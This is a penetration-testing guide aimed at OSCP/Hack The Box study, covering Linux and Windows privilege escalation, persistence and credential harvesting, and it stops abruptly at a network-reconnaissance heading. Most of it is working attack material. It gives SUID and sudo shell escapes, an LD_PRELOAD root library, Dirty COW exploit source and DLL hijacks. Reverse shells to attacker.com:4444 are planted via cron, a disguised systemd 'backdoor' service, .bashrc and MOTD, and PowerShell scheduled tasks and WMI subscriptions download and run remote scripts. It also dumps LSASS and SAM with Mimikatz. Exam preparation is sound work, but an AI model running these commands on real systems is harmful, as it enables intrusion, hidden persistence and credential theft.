Penetration Testing - Post-Exploitation & Privilege Escalation Guide
Category: Penetration Testing - Phase 4
Tags: oscp, htb, privilege-escalation, post-exploitation, linux-privesc, windows-privesc, persistence
Post-Exploitation Methodology and Framework
What this phase covers: Systematic post-exploitation activities including privilege escalation, persistence mechanisms, credential harvesting, and preparation for lateral movement after gaining initial access to target systems.
Why post-exploitation mastery is critical: Initial access is often limited (low-privileged user). True system compromise requires privilege escalation to administrative/root access. HTB/OSCP scenarios heavily focus on privilege escalation techniques.
HTB/OSCP Post-Exploitation Approach: Enumerate system thoroughly → Identify privilege escalation vectors → Execute escalation → Establish persistence → Harvest credentials → Prepare for lateral movement.
Linux Privilege Escalation
Linux Privilege Escalation Methodology
What Linux privilege escalation involves: Exploiting misconfigurations, vulnerable services, kernel vulnerabilities, or weak permissions to gain root access from a limited user account.
Why Linux privesc is essential: Most HTB Linux machines and OSCP scenarios require privilege escalation. Understanding Linux security model and common misconfigurations is crucial.
When to use different techniques: Start with automated enumeration, focus on SUID binaries and sudo misconfigurations, check for kernel exploits as last resort.
# Initial system enumeration
whoami # Current user
id # User ID and group memberships
uname -a # Kernel version and architecture
cat /etc/os-release # Operating system information
lscpu # CPU architecture information
cat /proc/version # Detailed kernel version
# Why initial enumeration matters:
# - Identifies current privilege level
# - Reveals group memberships (potential privilege vectors)
# - Kernel version indicates potential kernel exploits
# - Architecture affects exploit selection
# - OS version helps identify specific vulnerabilities
# Network and process information
ps aux # Running processes
ss -tuln # Listening ports
netstat -tuln # Alternative network connections
w # Logged in users
last # Login history
crontab -l # Current user's cron jobs
cat /etc/crontab # System-wide cron jobs
# File system enumeration
df -h # Mounted filesystems
mount # Mount information
ls -la / # Root directory permissions
ls -la /home # User directories
ls -la /tmp # Temporary directory (often writable)
ls -la /var/tmp # Alternative temporary directory
find / -writable -type d 2>/dev/null # Writable directories
find / -name "*.txt" -o -name "*.log" -o -name "*.conf" 2>/dev/null | head -20 # Interesting files
Automated Linux Enumeration Tools
LinPEAS - Linux Privilege Escalation Awesome Script
What LinPEAS does: Comprehensive automated enumeration script that checks for hundreds of potential privilege escalation vectors including SUID binaries, sudo misconfigurations, kernel exploits, and sensitive files.
Why LinPEAS is essential: Saves hours of manual enumeration, has extensive database of privilege escalation techniques, provides color-coded output for easy identification of high-priority issues.
# Download and run LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Direct execution (requires internet access)
# Alternative: Upload LinPEAS to target
# On attacker machine:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080
# On target machine:
curl http://attacker-ip:8080/linpeas.sh | bash
# Or
wget http://attacker-ip:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS with specific options
./linpeas.sh -a # All checks (including slower ones)
./linpeas.sh -s # Stealth mode (avoid some detection)
./linpeas.sh -P # Password hunting mode
./linpeas.sh -o SysI,Devs,AvaSof,ProCronSrvcsTmrsSocks,Net,UsrI,SofI,IntFiles # Specific sections
# Why different LinPEAS modes matter:
# - All checks mode finds more vectors but takes longer
# - Stealth mode reduces detection risk
# - Password mode focuses on credential discovery
# - Specific sections allow targeted enumeration
# LinPEAS output analysis
# Red/Yellow: High priority findings
# Green: Possible findings worth investigating
# Blue: Informational findings
# Look for:
# - 95% and 99% PE vectors (high probability)
# - SUID binaries
# - Sudo misconfigurations
# - Writable files in system directories
# - Interesting group memberships
Linux Smart Enumeration (LSE)
What LSE does: Alternative enumeration script with different focus areas and detection capabilities. Complements LinPEAS with different perspective on privilege escalation vectors.
# Download and run LSE
curl -L https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh | bash
# LSE with different verbosity levels
./lse.sh -l 0 # Minimal output
./lse.sh -l 1 # Default level
./lse.sh -l 2 # Detailed output
./lse.sh -l 3 # Maximum verbosity
# LSE specific sections
./lse.sh -s # Skip slow tests
./lse.sh -i # Include interesting files enumeration
# Why use multiple enumeration tools:
# - Different tools find different vectors
# - Cross-validation of findings
# - Some tools better for specific scenarios
# - Comprehensive coverage increases success rate
Manual Linux Privilege Escalation Techniques
SUID Binary Exploitation
What SUID binaries are: Programs that run with the privileges of their owner (often root) regardless of who executes them. Vulnerable SUID binaries are common privilege escalation vectors.
Why SUID exploitation is crucial: Very common in HTB/OSCP scenarios. Many legitimate programs have SUID bit set, and some can be abused for privilege escalation.
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null # Find all SUID binaries
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null # Detailed SUID listing
find / -uid 0 -perm -4000 -type f 2>/dev/null # SUID binaries owned by root
# Common exploitable SUID binaries and techniques:
# 1. find command with SUID
find /home -name "*.txt" -exec /bin/bash \;
# If find has SUID bit, -exec runs commands as root
find . -exec /bin/sh -p \; -quit
# -p flag preserves elevated privileges
# 2. vim/nano editors with SUID
vim
# Inside vim:
:!/bin/bash
# Or
:set shell=/bin/bash
:shell
# 3. less/more pagers with SUID
less /etc/passwd
# Inside less, type:
!/bin/bash
# 4. awk with SUID
awk 'BEGIN {system("/bin/bash")}'
# 5. python with SUID
python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# 6. perl with SUID
perl -e 'exec "/bin/bash";'
# 7. ruby with SUID
ruby -e 'exec "/bin/bash"'
# 8. php with SUID
php -r "exec('/bin/bash');"
# 9. cp command with SUID (file overwrite)
cp /etc/passwd /tmp/passwd.bak
echo 'root2:$6$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Add new root user
# 10. tar with SUID
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# Why SUID exploitation works:
# - SUID programs inherit owner privileges
# - Many programs have legitimate SUID need
# - Developers often overlook security implications
# - System administrators set SUID unnecessarily
GTFOBins for SUID Exploitation
What GTFOBins is: Comprehensive database of Unix binaries that can be exploited for privilege escalation, including SUID exploitation techniques.
# GTFOBins methodology for SUID binaries:
# 1. Identify SUID binary: find / -perm -4000 -type f 2>/dev/null
# 2. Check GTFOBins: https://gtfobins.github.io/
# 3. Look for SUID section for specific binary
# 4. Execute appropriate command
# Example GTFOBins SUID exploits:
# nmap (older versions)
nmap --interactive
# Inside nmap:
!sh
# systemctl with SUID
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > /tmp/privesc.service
systemctl link /tmp/privesc.service
systemctl enable --now /tmp/privesc.service
# docker with SUID
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Mounts host filesystem and provides root shell
# Why GTFOBins is essential:
# - Comprehensive database of exploitation techniques
# - Regularly updated with new vectors
# - Provides specific commands for different scenarios
# - Essential reference for OSCP/HTB
Sudo Misconfigurations
What sudo misconfigurations are: Improper sudo rules that allow users to execute commands with elevated privileges, often leading to full root access.
Why sudo misconfigurations are common: Administrators often grant broad sudo access without understanding security implications.
# Check sudo privileges
sudo -l # List allowed sudo commands
sudo -ll # Detailed sudo listing
# Common sudo misconfigurations and exploits:
# 1. ALL commands allowed
# Entry: user ALL=(ALL) ALL
# Exploit: Simply run 'sudo su' or 'sudo bash'
# 2. NOPASSWD entries
# Entry: user ALL=(ALL) NOPASSWD: /bin/vi
# Exploit:
sudo vi
# Inside vi:
:!/bin/bash
# 3. Shell escape from allowed programs
# Entry: user ALL=(ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# Inside less:
!/bin/bash
# 4. Command path manipulation
# Entry: user ALL=(ALL) NOPASSWD: /home/user/script.sh
# Exploit: Modify script.sh to include malicious commands
echo '#!/bin/bash
/bin/bash' > /home/user/script.sh
sudo /home/user/script.sh
# 5. Wildcard abuse
# Entry: user ALL=(ALL) NOPASSWD: /bin/cp /home/user/* /tmp/
# Exploit: Create malicious files and copy system files
echo 'root2:$6$salt$hash:0:0:root:/root:/bin/bash' > /home/user/passwd
sudo cp /home/user/passwd /etc/passwd
# 6. Environment variable preservation
# Entry: user ALL=(ALL) NOPASSWD: sudoedit /opt/*/service.conf
# Check for preserved environment variables:
sudo -l
# Look for env_keep options
# Exploit depends on specific environment variables
# 7. LD_PRELOAD privilege escalation
# If LD_PRELOAD is preserved in env_keep:
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/privesc.so /tmp/privesc.c -nostartfiles
sudo LD_PRELOAD=/tmp/privesc.so apache2
Kernel Exploitation
What kernel exploits are: Exploits that target vulnerabilities in the Linux kernel to gain root privileges. Often reliable but may crash the system.
Why kernel exploits are important: When other methods fail, kernel exploits may be the only path to root. Common in older systems.
When to use kernel exploits: Last resort due to crash risk. Check kernel version against known exploits.
# Kernel version enumeration
uname -r # Kernel release version
uname -a # All kernel information
cat /proc/version # Detailed version information
cat /etc/issue # Distribution information
lsb_release -a # Distribution release information
# Check for kernel exploit suggestions
# LinPEAS automatically suggests kernel exploits
# Manual checking against known exploits:
# Common kernel exploits by version:
# CVE-2016-5195 (Dirty COW) - Linux 2.6.22 to 4.8.3
# Affects: Most distributions 2007-2016
uname -r | grep -E "^[2-4]\.[0-8]" # Check if potentially vulnerable
# Exploit: https://github.com/dirtycow/dirtycow.github.io
# CVE-2017-16995 (Ubuntu 16.04) - Linux 4.4.0 to 4.13.x
# Exploit: https://github.com/Spacial/csirt/tree/master/PoCs
# CVE-2021-4034 (PwnKit) - pkexec vulnerability
# Affects: Most modern Linux distributions
# Check if pkexec exists:
which pkexec
# Exploit: https://github.com/arthepsy/CVE-2021-4034
# CVE-2022-0847 (Dirty Pipe) - Linux 5.8+
# Check kernel version:
uname -r | grep -E "^5\.(8|9|10|11|12|13|14|15|16)"
# Exploit: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Automated kernel exploit suggestion
curl -s https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash
# Comprehensive kernel exploit suggester
# Manual kernel exploit compilation and execution
# Example: Dirty COW compilation
cat > dirty_cow.c << 'EOF'
// Dirty COW exploit code (simplified for space)
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 1000000 && !c; i++) {
c = madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 1000000 && !c; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
c = write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Usage: %s <target_file> <new_content>\n", argv[0]);
exit(1);
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %p\n\n", map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
EOF
gcc -pthread dirty_cow.c -o dirty_cow
./dirty_cow /etc/passwd "root2:x:0:0:root:/root:/bin/bash"
# Why kernel exploitation is risky but effective:
# - Direct kernel access provides guaranteed root
# - May crash system or cause instability
# - Detection risk due to system-level interaction
# - Often requires specific kernel version matching
Linux Persistence Mechanisms
What persistence means: Maintaining access to compromised system across reboots, user logouts, and system changes.
Why persistence is important: Initial access may be lost, persistence ensures continued access for ongoing operations.
# SSH key persistence
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
# Allows SSH access with attacker's private key
# Cron job persistence
crontab -l > /tmp/cron_backup
echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" >> /tmp/cron_backup
crontab /tmp/cron_backup
# Reverse shell every 5 minutes
# System-wide cron persistence (requires root)
echo "*/10 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" >> /etc/crontab
# System-wide reverse shell
# Service persistence (systemd)
cat > /etc/systemd/system/backdoor.service << 'EOF'
[Unit]
Description=System Backup Service
After=network.target
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor.service
systemctl start backdoor.service
# .bashrc persistence
echo 'nohup bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1" &' >> ~/.bashrc
# Executes when user logs in
# MOTD persistence (requires root)
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /etc/update-motd.d/00-header
# Executes when users log in via SSH
# Why different persistence methods:
# - SSH keys: Legitimate access method, hard to detect
# - Cron jobs: Periodic execution, survives reboots
# - Services: System-level persistence, automatic restart
# - Shell profiles: User-level persistence, triggered by logins
# - MOTD: Triggers on SSH login, affects multiple users
Windows Privilege Escalation
Windows Privilege Escalation Methodology
What Windows privilege escalation involves: Exploiting Windows-specific misconfigurations, services, registry settings, or vulnerabilities to escalate from limited user to Administrator or SYSTEM privileges.
Why Windows privesc is essential: Windows systems have complex privilege models with many potential escalation vectors. Understanding Windows security architecture is crucial for HTB/OSCP success.
# Initial Windows enumeration
whoami # Current user
whoami /priv # User privileges
whoami /groups # Group memberships
net user # Local users
net localgroup # Local groups
net localgroup administrators # Administrators group members
# System information
systeminfo # Comprehensive system information
wmic qfe list # Installed patches/hotfixes
wmic product get name,version # Installed software
wmic service list brief # Running services
# Network and process information
netstat -ano # Network connections with PIDs
tasklist /svc # Processes with associated services
sc query # Service status
net share # Shared resources
# Why Windows enumeration differs from Linux:
# - Registry-based configuration vs file-based
# - Service-oriented architecture
# - Complex user and group management
# - Multiple privilege levels (User, Administrator, SYSTEM)
# - Windows-specific attack vectors (services, registry, tokens)
Automated Windows Enumeration Tools
WinPEAS - Windows Privilege Escalation Awesome Script
What WinPEAS does: Comprehensive Windows privilege escalation enumeration tool that checks for hundreds of potential escalation vectors including service misconfigurations, registry issues, and vulnerable software.
# Download and execute WinPEAS
# Method 1: PowerShell download and execute
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://attacker.com/winPEAS.exe')"
# Method 2: Download via certutil (common in Windows)
certutil -urlcache -split -f http://attacker.com/winPEAS.exe winPEAS.exe
winPEAS.exe
# Method 3: PowerShell version (script-based)
powershell -ep bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker.com/winPEAS.ps1')"
# WinPEAS execution options
winPEAS.exe cmd # Command line version
winPEAS.exe cmd fast # Fast scan (skip slower checks)
winPEAS.exe cmd systeminfo # Focus on system information
winPEAS.exe cmd userinfo # Focus on user information
winPEAS.exe cmd processinfo # Focus on process information
winPEAS.exe cmd servicesinfo # Focus on services information
winPEAS.exe cmd applicationsinfo # Focus on installed applications
winPEAS.exe cmd networkinfo # Focus on network information
winPEAS.exe cmd windowscreds # Focus on Windows credentials
# Why WinPEAS is essential for Windows:
# - Hundreds of privilege escalation checks
# - Color-coded output for easy identification
# - Covers Windows-specific attack vectors
# - Regular updates with new techniques
# - Essential for OSCP Windows machines
PowerUp - PowerShell Privilege Escalation
What PowerUp does: PowerShell-based privilege escalation tool that focuses on service misconfigurations and common Windows privilege escalation vectors.
# Download and import PowerUp
powershell -ep bypass
Import-Module .\PowerUp.ps1
# PowerUp enumeration functions
Invoke-AllChecks # Run all privilege escalation checks
Get-ServiceUnquoted # Find unquoted service paths
Get-ModifiableServiceFile # Find modifiable service binaries
Get-ModifiableService # Find modifiable services
Get-ServicePermission # Check service permissions
Get-UnattendedInstallFile # Find unattended install files with credentials
Get-Webconfig # Find web.config files with credentials
Get-ApplicationHost # Find applicationHost.config files
Get-RegAutoLogon # Check for auto-logon credentials in registry
Get-VulnAutoRun # Find vulnerable auto-run entries
Get-VulnSchTask # Find vulnerable scheduled tasks
Get-UnquotedService # Find unquoted service paths (alternative)
# PowerUp exploitation functions
Write-ServiceBinary # Write malicious service binary
Install-ServiceBinary # Install malicious service binary
Restore-ServiceBinary # Restore original service binary
# Why PowerUp complements WinPEAS:
# - PowerShell-native (no executable upload needed)
# - Focus on service-based escalation
# - Built-in exploitation functions
# - Deep registry and configuration analysis
Manual Windows Privilege Escalation Techniques
Service Exploitation
What Windows service exploitation involves: Exploiting misconfigured Windows services to gain elevated privileges. Services run with specific privilege levels and can be abused if improperly configured.
Why service exploitation is crucial: Windows services are common privilege escalation vectors. Many services run as SYSTEM, providing highest privilege level.
# Service enumeration and analysis
sc query # List all services
sc qc "service_name" # Query service configuration
sc query state= all # Query all services regardless of state
wmic service list brief # Alternative service listing
wmic service list full # Detailed service information
# Identify vulnerable services
# 1. Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# Look for services with unquoted paths containing spaces
# Example vulnerable service path:
# C:\Program Files\Vulnerable Service\service.exe
# Windows searches for executables in this order:
# C:\Program.exe
# C:\Program Files\Vulnerable.exe
# C:\Program Files\Vulnerable Service\service.exe
# Exploitation of unquoted service path:
# Create malicious executable at higher priority location
msfvenom -p windows/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f exe -o Program.exe
# Place in C:\ directory
# Restart service or reboot system
# 2. Weak Service Permissions
# Check service permissions with accesschk.exe (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Users" *
# If service allows modification by current user:
sc config "vulnerable_service" binpath= "C:\temp\shell.exe"
sc start "vulnerable_service"
# 3. Service Binary Hijacking
# Check if service binary is writable
icacls "C:\Program Files\Service\service.exe"
# If binary is writable, replace with malicious version
# Backup original binary
copy "C:\Program Files\Service\service.exe" "C:\temp\service_backup.exe"
# Replace with malicious binary
copy "C:\temp\malicious.exe" "C:\Program Files\Service\service.exe"
# Restart service
sc stop "service_name"
sc start "service_name"
# 4. DLL Hijacking
# Check for missing DLLs that services load
# Use Process Monitor (procmon) to identify missing DLLs
# Create malicious DLL with same name in accessible location
# Example DLL hijacking code:
cat > dll_hijack.c << 'EOF'
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("C:\\temp\\shell.exe");
}
return TRUE;
}
EOF
# Compile DLL:
x86_64-w64-mingw32-gcc -shared -o malicious.dll dll_hijack.c
# Why service exploitation is effective:
# - Services often run with elevated privileges
# - Many services have misconfigurations
# - Service restart triggers exploitation
# - SYSTEM privileges are common for services
Registry Exploitation
What Windows registry exploitation involves: Abusing registry misconfigurations, particularly auto-run entries and service configurations stored in the registry.
Why registry exploitation matters: Registry controls Windows behavior and security settings. Misconfigurations can lead to privilege escalation.
# Registry enumeration for privilege escalation
# Check for auto-run entries
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# Check for writable auto-run entries
# If current user can modify auto-run entry, replace with malicious executable
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\temp\shell.exe"
# Service registry keys
reg query HKLM\System\CurrentControlSet\Services
# Look for services with modifiable registry keys
# AlwaysInstallElevated privilege escalation
# Check if both registry keys are set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both are set to 1, MSI packages install with SYSTEM privileges
# Create malicious MSI and install
msfvenom -p windows/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi
# Registry permission enumeration
# Check registry key permissions
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /s
# Look for weak permissions on critical registry keys
# Why registry exploitation is important:
# - Registry controls system behavior
# - Auto-run entries provide persistence and escalation
# - Service configurations stored in registry
# - AlwaysInstallElevated is common misconfiguration
Token Impersonation
What token impersonation is: Windows uses access tokens to represent security context of users and processes. Token impersonation allows adopting security context of other users/processes.
Why token impersonation is powerful: If current user has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, can impersonate other users including SYSTEM.
# Check current user privileges
whoami /priv
# Look for:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeDebugPrivilege
# JuicyPotato exploitation (Windows Server 2016/2019)
# If SeImpersonatePrivilege is enabled:
# Download JuicyPotato.exe
JuicyPotato.exe -l 1337 -p C:\temp\shell.exe -t u -c {CLSID}
# PrintSpoofer exploitation (newer Windows versions)
# Alternative to JuicyPotato for newer systems
PrintSpoofer.exe -i -c cmd
# RoguePotato exploitation
# Another alternative for token impersonation
RoguePotato.exe -r attacker.com -e "C:\temp\shell.exe" -l 9999
# Manual token impersonation with PowerShell
# Enable SeDebugPrivilege and impersonate SYSTEM token
$signature = @"
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
"@
Add-Type -MemberDefinition $signature -Name Impersonation -Namespace Win32
# Why token impersonation is effective:
# - Many service accounts have SeImpersonatePrivilege
# - Allows escalation to SYSTEM without exploits
# - Works on modern Windows versions
# - Reliable technique for web application contexts (IIS, SQL Server)
# Identifying token impersonation opportunities
# Check for service accounts:
whoami
# Common vulnerable contexts:
# - iis apppool\defaultapppool (IIS web applications)
# - nt service\mssqlserver (SQL Server)
# - Network Service accounts
# - Local Service accounts
# Advanced token manipulation
# List available tokens (requires SeDebugPrivilege)
# Use tools like:
# - Incognito (Metasploit module)
# - PowerShell Empire modules
# - Custom PowerShell scripts
Scheduled Tasks Exploitation
What scheduled task exploitation involves: Abusing Windows Task Scheduler misconfigurations to execute commands with elevated privileges.
Why scheduled tasks are important: Tasks often run with SYSTEM privileges and may have weak permissions allowing modification.
# Enumerate scheduled tasks
schtasks /query /fo LIST /v # Detailed task listing
schtasks /query /fo csv # CSV format for parsing
wmic process get caption,commandline,processid # Current running processes
# Check task permissions
icacls C:\Windows\System32\Tasks\* # Task file permissions
# Look for tasks with weak permissions
# Identify high-privilege tasks
schtasks /query /fo LIST /v | findstr /i "system\|administrator\|highest"
# Task hijacking techniques
# 1. Modify existing task (if permissions allow)
schtasks /change /tn "TaskName" /tr "C:\temp\shell.exe"
# 2. Create new privileged task (requires admin rights)
schtasks /create /tn "Backdoor" /tr "C:\temp\shell.exe" /sc daily /ru "SYSTEM"
# 3. DLL hijacking in task executables
# If task runs executable that loads DLLs from writable locations
# Place malicious DLL in DLL search path
# Check for weak folder permissions in task paths
icacls "C:\Program Files\TaskFolder\"
# If folder is writable, can replace task executable
# Why scheduled task exploitation works:
# - Tasks often run with elevated privileges
# - Task files may have weak permissions
# - DLL hijacking opportunities in task executables
# - Persistence mechanism after privilege escalation
Windows Credential Harvesting
What credential harvesting involves: Extracting plaintext passwords, hashes, and authentication tokens from compromised Windows systems.
Why credential harvesting is crucial: Harvested credentials enable lateral movement, persistence, and further system compromise.
# Registry credential locations
# Windows stores credentials in various registry locations
# Auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password
# SNMP community strings
reg query "HKLM\SYSTEM\Current\Services\SNMP"
# Putty stored sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# File system credential locations
# Search for files containing credentials
findstr /si password *.txt *.ini *.cfg *.config *.xml
findstr /si password *.log
dir /s *pass* == *cred* == *vnc* == *.config*
# Common credential file locations
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\System32\sysprep.inf
type C:\Windows\System32\sysprep\sysprep.xml
# Web application credentials
type C:\inetpub\wwwroot\web.config
findstr /si password C:\inetpub\wwwroot\*.config
# Database connection strings
findstr /si "connectionString\|server=\|uid=\|pwd=" *.config
# Memory credential extraction
# Using Mimikatz (if available)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Extracts plaintext passwords from LSASS memory
# Alternative memory extraction methods
# Using ProcDump to dump LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Analyze dump offline with Mimikatz
# Using comsvcs.dll (Living off the Land)
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PID] C:\temp\lsass.dmp full
# Find LSASS PID: tasklist /fi "imagename eq lsass.exe"
# Why credential harvesting is essential:
# - Enables lateral movement to other systems
# - Provides higher privilege account access
# - Supports persistence mechanisms
# - Critical for post-exploitation phase
Windows Persistence Mechanisms
What Windows persistence involves: Maintaining access to compromised Windows systems through various autostart mechanisms and service installations.
# Registry-based persistence
# Auto-run registry keys
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\temp\shell.exe"
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Windows\System32\shell.exe"
# Scheduled task persistence
schtasks /create /tn "SystemCheck" /tr "powershell -WindowStyle Hidden -c \"IEX(New-Object Net.WebClient).downloadString('http://attacker.com/shell.ps1')\"" /sc onlogon /ru "SYSTEM"
# Service persistence
sc create "BackdoorService" binpath= "C:\temp\service.exe" start= auto
sc description "BackdoorService" "Windows Security Update Service"
net start "BackdoorService"
# WMI event subscription persistence
# Create WMI event filter
$filter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{
Name="ProcessStartFilter";
EventNameSpace="root\cimv2";
QueryLanguage="WQL";
Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='notepad.exe'"
}
# Create WMI event consumer
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name="ProcessStartConsumer";
CommandLineTemplate="powershell.exe -c IEX(New-Object Net.WebClient).downloadString('http://attacker.com/shell.ps1')"
}
# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter=$filter;
Consumer=$consumer
}
# Startup folder persistence
copy "C:\temp\shell.exe" "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# DLL hijacking persistence
# Place malicious DLL in application directory
# Target applications that load DLLs from current directory
# Logon script persistence (requires admin)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\temp\backdoor.exe"
# Why multiple persistence methods:
# - Different methods survive different defensive actions
# - Registry methods are common and well-documented
# - Service persistence provides system-level access
# - WMI persistence is stealthy and advanced
# - Startup folder is user-level but reliable
Cross-Platform Post-Exploitation Techniques
Credential Dumping and Password Attacks
What credential dumping involves: Extracting authentication credentials from compromised systems for use in lateral movement and privilege escalation.
# Linux credential extraction
## Shadow file access (requires root)
cat /etc/shadow # Password hashes
cat /etc/passwd # User information
# Unshadowing for password cracking
unshadow /etc/passwd /etc/shadow > /tmp/unshadowed.txt
john /tmp/unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
# SSH key extraction
find /home -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
find /home -name "*.pem" 2>/dev/null
find /home -name "authorized_keys" 2>/dev/null
# Browser credential extraction (Linux)
# Firefox profiles
find /home -name "*.sqlite" | grep -i firefox
# Chrome/Chromium profiles
find /home -name "Login Data" | grep -i chrome
# Windows credential extraction techniques
## SAM database dumping (requires SYSTEM)
reg save HKLM\sam C:\temp\sam
reg save HKLM\security C:\temp\security
reg save HKLM\system C:\temp\system
# Use tools like samdump2 or impacket-secretsdump to extract hashes
## LSASS memory dumping
# Method 1: Task Manager (GUI)
# Right-click lsass.exe -> Create dump file
# Method 2: ProcDump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Method 3: Comsvcs.dll (Living off the Land)
tasklist /fi "imagename eq lsass.exe" # Get LSASS PID
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PID] C:\temp\lsass.dmp full
# Method 4: PowerShell
# Out-Minidump.ps1 from PowerSploit
Out-Minidump -Process (Get-Process lsass) -DumpFilePath C:\temp\
## Registry credential extraction
# Cached domain credentials
reg save HKLM\SECURITY C:\temp\security
# LSA secrets
reg save HKLM\SECURITY C:\temp\security
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
# Why credential dumping is essential:
# - Enables lateral movement with legitimate credentials
# - Provides access to higher-privileged accounts
# - Supports persistent access mechanisms
# - Critical for advancing through network
Network Reconnaissance from Compromised Systems
What internal network reconnaissance involves: Using compromised systems as pivot points to discover and enumerate internal network resources.
# Network discovery from compromised host
# Basic network enumeration
